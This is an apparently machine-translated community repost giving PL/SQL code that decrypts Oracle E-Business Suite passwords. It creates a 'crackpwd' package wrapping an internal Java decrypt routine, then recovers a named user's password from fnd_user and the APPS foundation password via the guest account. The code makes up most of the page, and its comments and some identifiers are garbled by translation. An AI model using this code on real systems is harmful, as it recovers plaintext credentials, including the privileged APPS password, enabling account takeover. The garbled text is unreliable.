Check ORACLE data confidentiality and ERP confidentiality

Source: Internet
Author: User

1) create a package first

Create or replace package apps. crackpwd authid CURRENT_USER
As
Function getpwd (orauser in varchar2, appuserpwd in varchar2)
Return varchar2;
End crackpwd;
/

Create or replace package body apps. crackpwd
As
Function getpwd (orauser in varchar2, appuserpwd in varchar2)
Return varchar2
As
Language Java
Name 'oracle. Apps. fnd. Security. websessionmanagerproc. decrypt (Java. Lang. String, java. Lang. String) return java. Lang. string ';
End crackpwd;
/

2) After creation, you can directly merge the following SQL statements

Declare
V_encrypted_pwd varchar2 (100 );
V_1__pwd varchar2 (100 );
V_user_pwd varchar (100 );
Begin
-- V_encrypted_pwd: = 'hangzhou ';
Select encrypted_user_password into v_encrypted_pwd from fnd_user where user_name = 'gaolei'; ----- ERP too many
-- Get encrypted_user_password from fnd_user
If v_1__pwd is null
Then
V_1__pwd: = 'invalid dev3'; ------ database data volume name
End if;

V_user_pwd: = crackpwd. getpwd (v_1__pwd, v_encrypted_pwd );
Dbms_output.put_line (v_user_pwd );
End;

3) Check the data register name (provided that you enter the data register)

Set serveroutput on
Declare
Guestuserpwd varchar2 (200 );
Guestusername varchar2 (100 );
Guestfndpwd varchar2 (100 );
Guestencfndpwd varchar2 (100 );
Delim number;
Begin
Guestuserpwd: = 'guest/Oracle '; -- Can any User Password
If guestuserpwd is null then
Guestuserpwd: = upper (fnd_profile.value ('guest _ user_pwd '));
End if;
Dbms_output.put_line (guestuserpwd );
Delim: = instr (guestuserpwd ,'/');
Guestusername: = upper (substr (guestuserpwd, 1, delim-1 ));
Dbms_output.put_line (guestusername );
Select encrypted_foundation_password into guestencfndpwd
From fnd_user_view
Where user_name = guestusername and (start_date <= sysdate) and
(End_date is null or end_date> sysdate );
Guestfndpwd: = crackpwd. getpwd (guestuserpwd, guestencfndpwd );
If not (guestfndpwd is null) then
Dbms_output.put_line (guestfndpwd );
End if;
End;

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.